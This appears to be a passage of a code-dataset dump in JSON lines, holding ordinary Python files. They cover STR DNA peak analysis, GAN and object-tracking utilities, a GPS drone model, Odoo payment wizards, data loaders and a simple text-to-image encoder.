peakNumber in flagData[peak[self.Marker]][\"Called Peaks\"] \\\n and peak[self.Program_Output] == \"X\"\n\n def is_within_bp_range(self, parentPeak, peak, stutterPos):\n \"\"\"Determines if the potential stutter peak is in stutter position\n based on the size of the parent peaks at the locus.\"\"\"\n return ((float(parentPeak) - 0.5) + stutterPos) \\\n <= float(peak[self.Size]) \\\n <= ((float(parentPeak) + 0.5) + stutterPos)\n\n\n def mark_stutter(self, profilesDB):\n \"\"\"\n This function marks all stutter peaks.\n Peaks are labeled db b hb or f followed by the number of the parent peak.\n\n remember that some locations aren't repeats of 4bp\n Penta loci have 5 basepair repeats and D22S1045 has 3 basepair repeats.\n These loci are separated from the tetramer loci.\n\n This function checks flags to determine if the allele can be used.\n \"\"\"\n\n for sampleSet in self.samplesSorted:\n #NOC = -1\n if \"Mix\" in sampleSet[1][1].split(\"_\")[1]:\n name = sampleSet[1][1].split(\"_\")[1]\n NOC = len(sampleSet[1][1].split(\"_\")[2].split(\"-\"))\n sampleForData = name + \"-\" + str(NOC)\n elif \"Amp_Pos\" in sampleSet[1][1]:\n sampleForData = \"Amp Pos\"\n #NOC = 1\n elif \"Ladder\" in sampleSet[1][1]:\n sampleForData = \"Ladder\"\n else:\n sampleForData = sampleSet[1][1].split(\"_\")[1]\n #NOC = 1\n profileForData = profilesDB.getProfile(sampleForData)\n\n for peak in sampleSet:\n #peak[self.NOC] = NOC\n if self.is_loci_of_interest(peak[self.Marker]):\n alleles = self.samplePropertiesDict[sampleSet[1][1]].loci[peak[self.Marker]].Peak_Profiles\n peakSizes = self.samplePropertiesDict[sampleSet[1][1]].loci[peak[self.Marker]].Peak_BP\n for x in range(len(alleles)):\n repeatMultiple = 0\n if peak[self.Marker] not in [\"D22S1045\", \"Penta D\", \"Penta E\"]:\n repeatMultiple = 4\n elif peak[self.Marker] == \"D22S1045\":\n repeatMultiple = 3\n else:\n repeatMultiple = 5\n parentPeak = peakSizes[x]\n parentAllele = alleles[x]\n\n\n\n if self.is_within_bp_range(parentPeak, peak, (repeatMultiple * -1)) \\\n or self.in_stutter_position(parentAllele, -1, peak):\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"b\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output]+\",b\"\n\n elif self.is_within_bp_range(parentPeak, peak, (repeatMultiple * -2)) \\\n or self.in_stutter_position(parentAllele, -2, peak):\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"db\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",db\"\n\n elif repeatMultiple == 4 and (self.is_within_bp_range(parentPeak, peak, (repeatMultiple * -0.5)) \\\n or self.in_stutter_position(parentAllele, -0.2, peak)):\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"hb\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",hb\"\n\n elif self.is_within_bp_range(parentPeak, peak, (repeatMultiple * 1)) \\\n or self.in_stutter_position(parentAllele, 1, peak):\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"f\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",f\"\n\n def mark_pullup(self):\n \"\"\"\n This function takes the pullupList from definePullup and use a test\n \"\"\"\n for sampleSet in self.samplesSorted:\n\n sampleName = sampleSet[1][1]\n\n\n for peak in sampleSet:\n if peak[self.Dye] == \"Blue\":\n for peakSize in self.samplePullupDict[sampleName].Green + self.samplePullupDict[sampleName].Yellow + self.samplePullupDict[sampleName].Red:\n if float(peak[self.Size]) - 0.5 <= float(peakSize) \\\n <= float(peak[self.Size]) + 0.5:\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"pullup\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",pullup\"\n elif peak[self.Dye] == \"Green\":\n for peakSize in self.samplePullupDict[sampleName].Blue + self.samplePullupDict[sampleName].Yellow + self.samplePullupDict[sampleName].Red:\n if float(peak[self.Size]) - 0.5 <= float(peakSize) \\\n <= float(peak[self.Size]) + 0.5:\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"pullup\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",pullup\"\n elif peak[self.Dye] == \"Yellow\":\n for peakSize in self.samplePullupDict[sampleName].Blue + self.samplePullupDict[sampleName].Green + self.samplePullupDict[sampleName].Red:\n if float(peak[self.Size]) - 0.5 <= float(peakSize) \\\n <= float(peak[self.Size]) + 0.5:\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"pullup\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",pullup\"\n elif peak[self.Dye] == \"Red\":\n for peakSize in self.samplePullupDict[sampleName].Blue + self.samplePullupDict[sampleName].Green + self.samplePullupDict[sampleName].Yellow:\n if float(peak[self.Size]) - 0.5 <= float(peakSize) \\\n <= float(peak[self.Size]) + 0.5:\n if peak[self.Program_Output] == \"X\":\n peak[self.Program_Output] = \"pullup\"\n else:\n peak[self.Program_Output] = peak[self.Program_Output] + \",pullup\"\n\n\n def write_output(self):\n outputFileName = self.fileName.rsplit('.', 1)[0]\n\n outputFile = open(outputFileName + \"_newoutput.tsv\", \"w\")\n outputFile.write(\"\\t\".join(self.reportHeaderRow)+\"\\n\")\n for line in self.report:\n outputFile.write(\"\\t\".join(line)+\"\\n\")\n outputFile.close()\n\n\n def define_sample_properties(self):\n return {0: 0}\n\n\n def __str__(self):\n headerRow = \"\\t\".join(self.reportHeaderRow)+\"\\n\"\n reportDBString = headerRow\n for line in self.report:\n tempReportString = \"\\t\".join(line)\n reportDBString += tempReportString+\"\\n\"\n return reportDBString\n\n\nclass LocusProperties:\n def __init__(self):\n\n self.Channel = \"\"\n self.Saturation = False\n self.Drop_Out = False\n self.Peak_BP = []\n self.Peak_Profiles = []\n\n def __str__(self):\n return \"Channel: \"+self.Channel+\"\\n\"+\"Saturation: \"+str(self.Saturation)+\"\\n\"+\\\n \"Drop out: \"+str(self.Drop_Out)+\"\\n\"+\"Peak Profiles: \"+str(self.Peak_Profiles)+\"\\n\"+\\\n \"Peak BP: \"+str(self.Peak_BP)+\"\\n\"\n\n\nclass SampleProperties:\n def __init__(self, sampleName):\n self.sampleName = sampleName\n\n self.loci = {\n \"AMEL\": LocusProperties(), \"D3S1358\": LocusProperties(), \"D1S1656\": LocusProperties(),\n \"D2S441\": LocusProperties(), \"D10S1248\": LocusProperties(), \"D13S317\": LocusProperties(),\n \"Penta E\": LocusProperties(), \"D16S539\": LocusProperties(), \"D18S51\": LocusProperties(),\n \"D2S1338\": LocusProperties(), \"CSF1PO\": LocusProperties(), \"Penta D\": LocusProperties(),\n \"TH01\": LocusProperties(), \"vWA\": LocusProperties(), \"D21S11\": LocusProperties(),\n \"D7S820\": LocusProperties(), \"D5S818\": LocusProperties(), \"TPOX\": LocusProperties(),\n \"DYS391\": LocusProperties(), \"D8S1179\": LocusProperties(), \"D12S391\": LocusProperties(),\n \"D19S433\": LocusProperties(), \"FGA\": LocusProperties(), \"D22S1045\": LocusProperties()}\n\n def __str__(self):\n\n\n outputString = \"\"\n for locus in self.loci:\n outputString += locus\n outputString += \"\\n\"\n outputString += self.loci[locus].__str__()\n\n\n return \"Sample name: \"+self.sampleName+\"\\n\"+outputString\n\nclass SamplePullup:\n \"\"\"\n This function takes the flagdata at the \"Peak BP\" location for\n all keys in dictionary and makes a set of those data points in\n case any overlap this list is passed to the next function to filter\n the all called peaks\n \"\"\"\n\n def __init__(self, sampleName):\n self.sampleName = sampleName\n self.Blue = []\n self.Green = []\n self.Yellow = []\n self.Red = []\n\n def __str__(self):\n blue = \"\\, \".join(self.Blue)+\"\\n\"\n green = \"\\, \".join(self.Green)+\"\\n\"\n yellow = \"\\, \".join(self.Yellow)+\"\\n\"\n red = \"\\, \".join(self.Red)+\"\\n\"\n return \"Pullup BP: \"+\"\\n\"+blue+green+yellow+red\n\n\nclass TestAlleleUnit(unittest.TestCase):\n\n def test_microvariant(self):\n self.assertFalse(AlleleUnit(14.1, \"TPOX\") == AlleleUnit(14, \"TPOX\"))\n self.assertFalse(AlleleUnit(11.3, \"TPOX\") == AlleleUnit(11.2, \"TPOX\"))\n self.assertTrue(AlleleUnit(10, \"TPOX\") == AlleleUnit(10.0, \"TPOX\"))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"strlibrary.py","file_name":"strlibrary.py","file_ext":"py","file_size_in_byte":26882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"571040085","text":"import vim\nimport sys\ns1 = sys.argv[0]\ns2 = sys.argv[1]\ns3 = [str(i + 1) for i in xrange(len(s1)) if s1[i] != s2[i]]\nvim.command(\"hi ColorColumn ctermbg=lightblue ctermfg=darkred\" )\ns4 = \"set colorcolumn=\" + \",\".join(s3)\ns5 = vim.eval(\"&colorcolumn\")\nif(\",\".join(s3) == s5):\n vim.command(\"set colorcolumn=\")\nelse:\n vim.command(s4)\n","sub_path":"bundle/2linediff/twolinediffcomp.py","file_name":"twolinediffcomp.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"166389903","text":"# Copyright (c) SenseTime. All Rights Reserved.\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport math\n\nimport numpy as np\n\nfrom pysot.utils.bbox import corner2center, center2corner\n\n\nclass Anchors:\n \"\"\"\n This class generate anchors.\n \"\"\"\n def __init__(self, stride, ratios, scales, image_center=0, size=0):\n self.stride = stride\n self.ratios = ratios\n self.scales = scales\n self.image_center = image_center\n # size of the rpn output\n # siamrpn++: 25, siamrpn: 17\n self.size = size\n # typically, anchor_num = 5\n self.anchor_num = len(self.scales) * len(self.ratios)\n\n self.anchors = None\n\n self.generate_anchors()\n\n def generate_anchors(self):\n \"\"\"\n generate anchors based on predefined configuration\n \"\"\"\n # Generate the bbox center on (0,0),the bbox_num = anchor_num\n # anchor_num = len(anchor_ratios)*len(anchor_scales)\n self.anchors = np.zeros((self.anchor_num, 4), dtype=np.float32)\n size = self.stride * self.stride\n count = 0\n for r in self.ratios:\n ws = int(math.sqrt(size*1. / r))\n hs = int(ws * r)\n\n for s in self.scales:\n w = ws * s\n h = hs * s\n self.anchors[count][:] = [-w*0.5, -h*0.5, w*0.5, h*0.5][:]\n count += 1\n\n def generate_all_anchors(self, im_c, size):\n \"\"\"\n im_c: image center\n size: image size\n \"\"\"\n if self.image_center == im_c and self.size == size:\n return False\n # 127\n self.image_center = im_c\n # 25\n self.size = size\n # To calculate the position of the first anchor's\n # coordinate in the search_region.\n\n # The meaning of anchor.stride:The distance in the\n # search region of the corresponding adjacent anchor\n\n # Assuming the center of search region just is the\n # center of the feature map(generated by backbone like resnet 50),\n # the corresponding center can be calculated \n # cx = search_region_center_coordinate -\n # floor(feature_map.shape(0)/2)*self.stride\n\n # the origin of the coordinate: the top left corner \n # of the search region\n a0x = im_c - size // 2 * self.stride\n ori = np.array([a0x] * 4, dtype=np.float32)\n # zero_anchors.shape = (5,4)\n zero_anchors = self.anchors + ori\n # x1.shape = (5,1)\n x1 = zero_anchors[:, 0]\n y1 = zero_anchors[:, 1]\n x2 = zero_anchors[:, 2]\n y2 = zero_anchors[:, 3]\n #x1.shape = (5,1,1)\n x1, y1, x2, y2 = map(lambda x: x.reshape(self.anchor_num, 1, 1),\n [x1, y1, x2, y2])\n cx, cy, w, h = corner2center([x1, y1, x2, y2])\n # disp_x.shape=(1,1,25)\n disp_x = np.arange(0, size).reshape(1, 1, -1) * self.stride\n disp_y = np.arange(0, size).reshape(1, -1, 1) * self.stride\n # cx.shape(5,1,25)\n cx = cx + disp_x\n cy = cy + disp_y\n\n # broadcast\n # zero.shape=(5,25,25)\n zero = np.zeros((self.anchor_num, size, size), dtype=np.float32)\n # cx.shape=(5,25,25)\n cx, cy, w, h = map(lambda x: x + zero, [cx, cy, w, h])\n x1, y1, x2, y2 = center2corner([cx, cy, w, h])\n\n self.all_anchors = (np.stack([x1, y1, x2, y2]).astype(np.float32),\n np.stack([cx, cy, w, h]).astype(np.float32))\n # all_anchors[0].shape = (4,anchor_num,W,H), the bbox coordinate(in the search region)\n # all_anchors[1].shape = (4,anchor_num,W,H),same content,but in the center format \n return True\n","sub_path":"pysot/utils/anchor.py","file_name":"anchor.py","file_ext":"py","file_size_in_byte":3791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"59739848","text":"def check(x):\n x = bin(x)\n x = x[2:]\n dcount = 0\n rcount = 0\n# print(len(x))\n for item in x:\n if item == \"0\": dcount = dcount + 1\n if item == \"1\": rcount = rcount + 1\n if dcount == 20 and rcount == 20:\n return(True)\n else:\n return(False)\ncounter = 0\nfor x in range(2**39,2**40):\n if check(x): counter = counter + 1\n if x % 100000 == 0:\n print(float(x)/2**40)\nprint(counter)\n","sub_path":"15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"623797724","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\nimport jieba_fast as jieba\nimport os\nimport sys\ndef textSeg(sourefile0,targetfile0):\n targetfile = targetfile0 + '/sents.txt'\n f_w = open(targetfile, 'w+')\n k = 0\n for p in range(5):\n sourefile = sourefile0+'/part-0000'+str(p)\n f_r = open(sourefile,'r')\n for line in f_r:\n line = line.strip().lower()\n s = line.split('\\t')\n if len(s)!=3:\n continue\n words = \" \".join(jieba.lcut(s[2], HMM=True))\n f_w.write(words+'\\n')\n k+=1\n if k%10000==0:\n print('write %d lines'%k)\n f_r.close()\n #os.remove(sourefile)\n f_w.close()\ndef main(sourefile):\n if not os.path.exists(sourefile+'-seg'):\n os.mkdir(sourefile+'-seg')\n textSeg(sourefile,sourefile+'-seg')\n #os.remove(sourefile)\nif __name__=='__main__':\n sourcefile = sys.argv[1]\n main(sourcefile)","sub_path":"myscript/textseg.py","file_name":"textseg.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"483027639","text":"# example of defining the generator model\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import Reshape\nfrom keras.layers import Conv2D\nfrom keras.layers import Conv2DTranspose\nfrom keras.layers import LeakyReLU\n\n\n# define the standalone generator model\nfrom numpy.matlib import randn, zeros\n\n\ndef define_generator(latent_dim):\n model = Sequential()\n # foundation for 7x7 image\n n_nodes = 128 * 7 * 7\n model.add(Dense(n_nodes, input_dim=latent_dim))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Reshape((7, 7, 128)))\n # upsample to 14x14\n model.add(Conv2DTranspose(128, (4,4), strides=(2,2), padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n # upsample to 28x28\n model.add(Conv2DTranspose(128, (4,4), strides=(2,2), padding='same'))\n model.add(LeakyReLU(alpha=0.2))\n model.add(Conv2D(1, (7,7), activation='sigmoid', padding='same'))\n return model\n\n\n# generate points in latent space as input for the generator\ndef generate_latent_points(latent_dim, n_samples):\n # generate points in the latent space\n x_input = randn(latent_dim * n_samples)\n # reshape into a batch of inputs for the network\n x_input = x_input.reshape(n_samples, latent_dim)\n return x_input\n\n\n# use the generator to generate n fake examples, with class labels\ndef generate_fake_samples(g_model, latent_dim, n_samples):\n # generate points in latent space\n x_input = generate_latent_points(latent_dim, n_samples)\n # predict outputs\n X = g_model.predict(x_input)\n # create 'fake' class labels (0)\n y = zeros((n_samples, 1))\n return X, y\n","sub_path":"generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"164255651","text":"import numpy as np\nfrom pyquaternion import Quaternion\nimport matplotlib.pyplot as plt\n\nclass Satelite():\n '''\n GPS satellites fly in medium Earth orbit (MEO) at an altitude of approximately 20,200 km\n Operating frequency 1575.42MHz\n '''\n def __init__(self, x, y):\n self.location = np.array((x,y,20200*1000))\n self.frequency = 1575.42e6\n self.wavelength = 3e8/self.frequency\n # self.phase_noise = phase_noise\n\n def phase_calculate(self, rx_location, phase_noise=0.01):\n distance = np.linalg.norm(self.location-rx_location)\n phase = (distance % self.wavelength)*2*np.pi\n phase += np.random.randn(*phase.shape) * phase_noise\n return phase\n\n def line_of_sight(self, drone_location):\n self.los = self.location-drone_location\n self.los /= np.sum(self.los)\n\nclass Drone():\n '''\n Quadcopter with 4 GPS receivers\n '''\n def __init__(self, location, quaternion, noise_pwr = 0.01):\n self.location = location\n self.quaternion = Quaternion(quaternion)\n self.rx = np.zeros((4,3))\n self.noise_pwr = noise_pwr\n\n def rotate(self, arm_length):\n self.rx = np.array(([arm_length,0,0],[-arm_length,0,0],[0,arm_length,0],\n [0,-arm_length,0]))\n for i in range(4):\n self.rx[i] = self.quaternion.rotate(self.rx[i])\n self.rx[i] += self.location\n # self.rx[i] += np.random.randn(3)*self.noise_pwr\n\n def phase_calculate(self, satelite):\n phase = np.zeros(4)\n for i in range(4):\n phase[i] = satelite.phase_calculate(self.rx[i])\n return phase\n\nclass Model():\n '''\n System model:\n measurement: doubleDiffRxSate\n state transition: doubleDiffRxTime\n '''\n def __init__(self, N, rx_num):\n self.N = N\n self.rx_num = rx_num\n self.singleDiffRx = np.zeros((N,rx_num,2))\n self.doubleDiffRxSate = np.zeros((N,rx_num))\n self.singleDiffTime = np.zeros((N,rx_num,2))\n self.doubleDiffRxTime = np.zeros((N,rx_num))\n\n def diff_calculate(self, phase):\n for j in range(self.rx_num):\n self.singleDiffRx[0][j] = phase[0][j]-phase[0][0]\n self.doubleDiffRxSate[0] = self.singleDiffRx[0,:,0]-self.singleDiffRx[0,:,1]\n for i in range(1,self.N):\n for j in range(self.rx_num):\n self.singleDiffRx[i][j] = phase[i][j]-phase[i][0]\n self.doubleDiffRxSate[i] = self.singleDiffRx[i,:,0]-self.singleDiffRx[i,:,1]\n self.singleDiffTime[i] = phase[i]-phase[i-1]\n self.doubleDiffRxTime[i] = self.doubleDiffRxSate[i]-self.doubleDiffRxSate[i-1]\n\nclass Filter():\n def __init__(self, N):\n self.estimation = np.zeros((N,4))\n","sub_path":"track_orientation.py","file_name":"track_orientation.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"446611666","text":"\"\"\"\n7.\tНапишите программу, доказывающую или проверяющую, что для множества\nнатуральных чисел выполняется равенство: 1+2+...+n = n(n+1)/2,\n где n - любое натуральное число.\n\"\"\"\n\nprint(\"Проверяющую равенство: 1+2+...+n = n(n+1)/2,где n - любое натуральное число.\")\nuserInput = int(input(\"Введите число: \"))\n\nleft_side = 0\n\nfor i in range(1, userInput + 1):\n left_side += i\n\nright_side = userInput * (userInput + 1) // 2\n\nif left_side == right_side:\n print(\"Равенство доказано\")\nelse:\n print(\"Равенство не доказано\")","sub_path":"Lesson_2/7.py","file_name":"7.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"351563179","text":"# a,b = map(eval,input().split())\n# a1=round(a,0)\n# b1=round(b,2)\n# print((a1*b1)//100)\na, b = input().split()\nA = int(a)\nB = float(b)\nB100 = round(100*B)\nprint(B100)\nC=A*B100\nprint(str(C//100))","sub_path":"m3.py","file_name":"m3.py","file_ext":"py","file_size_in_byte":194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"133326562","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api\nfrom odoo.exceptions import ValidationError\n\n\nclass PaiementChequeClientWizard(models.TransientModel):\n _name = \"paiement.cheque.client.wizard\"\n\n cheque_id = fields.Many2one('paiement.cheque.client', string=u'Chèque', readonly=True)\n amount = fields.Float(string=u'Montant', readonly=True)\n due_date = fields.Date(string=u'Echéance', readonly=True)\n ok = fields.Boolean(u'Transférer?')\n caisse_id = fields.Many2one('caisse.to.central', 'Caisse', readonly=True)\n\n\nclass PaiementEffetClientWizard(models.TransientModel):\n _name = \"paiement.effet.client.wizard\"\n\n effet_id = fields.Many2one('paiement.effet.client', string=u'Effet', readonly=True)\n amount = fields.Float(string=u'Montant', readonly=True)\n due_date = fields.Date(string=u'Echéance', readonly=True)\n ok = fields.Boolean(u'Transférer?')\n caisse_id = fields.Many2one('caisse.to.central', 'Caisse', readonly=True)\n\n\nclass PaiementOvClientWizard(models.TransientModel):\n _name = \"paiement.ov.client.wizard\"\n\n ov_id = fields.Many2one('paiement.ov.client', string=u'OV', readonly=True)\n amount = fields.Float(string=u'Montant', readonly=True)\n due_date = fields.Date(string=u'Echéance', readonly=True)\n ok = fields.Boolean(u'Transférer?')\n caisse_id = fields.Many2one('caisse.to.central', 'Caisse', readonly=True)\n\n\nclass PaiementCbClientWizard(models.TransientModel):\n _name = \"paiement.cb.client.wizard\"\n\n cb_id = fields.Many2one('paiement.cb.client', string=u'CB', readonly=True)\n amount = fields.Float(string=u'Montant', readonly=True)\n due_date = fields.Date(string=u'Echéance', readonly=True)\n ok = fields.Boolean(u'Transférer?')\n caisse_id = fields.Many2one('caisse.to.central', 'Caisse', readonly=True)\n\n\nclass PaiementCashClientWizard(models.TransientModel):\n _name = \"paiement.cash.client.wizard\"\n\n cash_id = fields.Many2one('paiement.cash.client', string=u'Espèce', readonly=True)\n amount = fields.Float(string=u'Montant', readonly=True)\n due_date = fields.Date(string=u'Echéance', readonly=True)\n ok = fields.Boolean(u'Transférer?')\n caisse_id = fields.Many2one('caisse.to.central', 'Caisse', readonly=True)\n\n\nclass CaisseToCentral(models.TransientModel):\n _name = \"caisse.to.central\"\n \n cheque_lines = fields.One2many('paiement.cheque.client.wizard', 'caisse_id', string=u'Chèques')\n effet_lines = fields.One2many('paiement.effet.client.wizard', 'caisse_id', string=u'Effets')\n ov_lines = fields.One2many('paiement.ov.client.wizard', 'caisse_id', string=u'OV')\n cb_lines = fields.One2many('paiement.cb.client.wizard', 'caisse_id', string=u'OV')\n cash_lines = fields.One2many('paiement.cash.client.wizard', 'caisse_id', string=u'Espèces')\n total_cheque = fields.Float(string=u'Total chèques', readonly=True)\n total_effet = fields.Float(string=u'Total effets', readonly=True)\n\n @api.model\n def _partial_cheque(self, cheque):\n partial_cheque = {\n 'cheque_id': cheque.id,\n 'amount': cheque.amount,\n 'due_date': cheque.due_date,\n }\n return partial_cheque\n\n @api.model\n def _partial_effet(self, effet):\n partial_effet = {\n 'effet_id': effet.id,\n 'amount': effet.amount,\n 'due_date': effet.due_date,\n }\n return partial_effet\n\n @api.model\n def _partial_ov(self, ov):\n partial_ov = {\n 'ov_id': ov.id,\n 'amount': ov.amount,\n }\n return partial_ov\n\n @api.model\n def _partial_cb(self, cb):\n partial_cb = {\n 'cb_id': cb.id,\n 'amount': cb.amount,\n }\n return partial_cb\n\n @api.model\n def _partial_cash(self, cash):\n partial_cash = {\n 'cash_id': cash.id,\n 'amount': cash.amount,\n }\n return partial_cash\n\n @api.model\n def default_get(self, fields):\n res = super(CaisseToCentral, self).default_get(fields)\n caisse_id = self.env.context['active_id']\n caisse = self.env['paiement.caisse'].browse(caisse_id)\n if caisse.caisse_centrale == True:\n raise ValidationError(u\"Vous devez seulement transférer à partir d'une caisse normale\")\n if 'cheque_lines' in fields:\n line = [(0, 0, self._partial_cheque(m)) for m in caisse.cheque_lines]\n res.update(cheque_lines=line)\n if 'effet_lines' in fields:\n line = [(0, 0, self._partial_effet(m)) for m in caisse.effet_lines]\n res.update(effet_lines=line)\n if 'ov_lines' in fields:\n line = [(0, 0, self._partial_ov(m)) for m in caisse.ov_lines]\n res.update(ov_lines = line)\n if 'cb_lines' in fields:\n line = [(0, 0, self._partial_cb(m)) for m in caisse.cb_lines]\n res.update(cb_lines = line)\n if 'cash_lines' in fields:\n line = [(0, 0, self._partial_cash(m)) for m in caisse.cash_lines]\n res.update(cash_lines = line)\n if 'total_cheque' in fields:\n total=0.0\n for ch in caisse.cheque_lines:\n total += ch.amount\n res.update(total_cheque=total)\n if 'total_effet' in fields:\n total=0.0\n for eff in caisse.effet_lines:\n total += eff.amount\n res.update(total_effet=total)\n return res\n\n def to_central_action(self):\n for wizard in self:\n for cheque in wizard.cheque_lines:\n if cheque.cheque_id.state == 'caisse' and cheque.ok:\n cheque.cheque_id.action_caisse_centrale()\n for effet in wizard.effet_lines:\n if effet.effet_id.state == 'caisse' and effet.ok:\n effet.effet_id.action_caisse_centrale()\n for ov in wizard.ov_lines:\n if ov.ov_id.state == 'caisse' and ov.ok:\n ov.ov_id.action_caisse_centrale()\n for cb in wizard.cb_lines:\n if cb.cb_id.state == 'caisse' and cb.ok:\n cb.cb_id.action_caisse_centrale()\n for cash in wizard.cash_lines:\n if cash.cash_id.state == 'caisse' and cash.ok:\n cash.cash_id.action_caisse_centrale()\n return {'type': 'ir.actions.act_window_close'}\n","sub_path":"account_tres_customer/wizard/caisse_to_central.py","file_name":"caisse_to_central.py","file_ext":"py","file_size_in_byte":6363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"575562149","text":"'''\nload imagenet test dataset as numpy array\nlen(test_x)==50000\n\nusage:\n\n import imagenet\n\n test_x, test_y = imagenet.load_imagenet_test()\n\n\n'''\nfrom PIL import Image\nfrom scipy.ndimage import filters\nimport os\nimport tensorflow as tf\nimport numpy as np\n\n# TRAIN_DIR_PATH = '/home/cwx17/data/imagenet/train'\n# TRAIN_X_PATH = '/home/cwx17/data/imagenet/train/img'\n# TRAIN_X_ARR_PATH = '/home/cwx17/data/imagenet/train/imgarr.npy'\n\nTEST_DIR_PATH = '/home/cwx17/data/imagenet/test/valid_32x32'\nTEST_X_PATH = '/home/cwx17/data/imagenet/test/valid_32x32'\nTRAIN_X_ARR_PATH = '/home/cwx17/data/imagenet/test.npy'\nTEST_X_ARR_PATH = '/home/cwx17/data/imagenet/test.npy'\n\n\ndef _fetch_array_x(path):\n file_names = os.listdir(path)\n file_names.sort()\n imgs = []\n # scale = 148 / float(64)\n # sigma = np.sqrt(scale) / 2.0\n for name in file_names:\n im = Image.open(os.path.join(path, name))\n img = np.asarray(im)\n # print(img.shape)\n if img.shape[0] != 32:\n print('err')\n # im = im.crop((15,40,163,188))\n # # img.setflags(write=True)\n # # for dim in range(img.shape[2]):\n # # img[...,dim] = filters.gaussian_filter(img[...,dim], sigma=(sigma,sigma))\n imgs.append(img)\n print(len(imgs))\n\n return np.array(imgs)\n\n\ndef _fetch_array_y(path):\n evalue = []\n with open(path, 'rb') as f:\n for line in f.readlines():\n q = line.decode('utf-8')\n q = q.strip()\n q = int(q.split(' ')[1])\n evalue.append(q)\n return np.array(evalue)\n\n\ndef load_imagenet(x_shape=(32, 32, 3), x_dtype=np.float32, y_dtype=np.int32,\n normalize_x=False):\n \"\"\"\n Load the imagenet dataset as NumPy arrays.\n samilar to load_not_mnist\n\n Args:\n Unimplemented!(haven't found a good way to resize) x_shape: Reshape each digit into this shape. Default ``(218, 178)``.\n x_dtype: Cast each digit into this data type. Default `np.float32`.\n y_dtype: Cast each label into this data type. Default `np.int32`.\n normalize_x (bool): Whether or not to normalize x into ``[0, 1]``,\n by dividing each pixel value with 255.? (default :obj:`False`)\n\n Returns:\n (np.ndarray, np.ndarray), (np.ndarray, np.ndarray): The\n (train_x, train_y), (test_x, test_y)\n \n \"\"\"\n\n train_x = np.load(TRAIN_X_ARR_PATH, mmap_mode='r')\n train_y = None\n test_x = np.load(TEST_X_ARR_PATH, mmap_mode='r')\n test_y = None\n\n return (train_x, train_y), (test_x, test_y)\n\n\nif __name__ == '__main__':\n print('pre load')\n (x_test, y_test) = load_imagenet()\n print(x_test.shape)\n\n np.save(TEST_X_PATH, x_test)\n","sub_path":"ood_regularizer/experiment/datasets/imagenet.py","file_name":"imagenet.py","file_ext":"py","file_size_in_byte":2718,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"496310144","text":"from random import randint\nfrom math import sqrt\nfrom PIL import Image\n\nimport base64\nfrom io import BytesIO\n\ndef t2i(text, key=1234):\n if key > 8894:\n key = 8895 - key // 8895\n if key < 1000:\n key += 1000\n\n size = sqrt(len(text))\n if size != int(size):\n size = size + 1\n size = int(size)\n\n image = Image.new('RGB', (size, size), (255, 255, 255))\n\n pos = [0, 0]\n for letter in text:\n number = ord(letter) + key\n\n red = randint(0, number // 100)\n blue = number // 100 - red\n green = number % 100 + 100\n red += 100\n blue += 100\n\n rgb = (red, green, blue)\n\n image.putpixel(pos, rgb)\n\n pos[0] += 1\n if pos[0] >= size:\n pos[0] = 0\n pos[1] += 1\n if pos[0] == 0:\n pos[1] -= 1\n if pos[1] + 1 < size:\n image.crop((0, 0, size, size - 1))\n return image\n\n\ndef i2t(image, key=1234):\n if key > 8895:\n key = 8895 - key // 8895\n if key < 1000:\n key += 1000\n text = ''\n for y in range(0, image.size[0]):\n for x in range(0, image.size[1]):\n\n rgb = image.getpixel((x, y))\n\n if rgb == (255, 255, 255):\n return text\n\n number = (((rgb[0] - 100) + (rgb[2] - 100)) * 100 + (rgb[1] - 100)) - key\n text += chr(number)\n return text\n","sub_path":"ImageCoder.py","file_name":"ImageCoder.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"236992953","text":"from django.shortcuts import render\nfrom .models import Cart, CartItem\nfrom django.http import JsonResponse\nimport 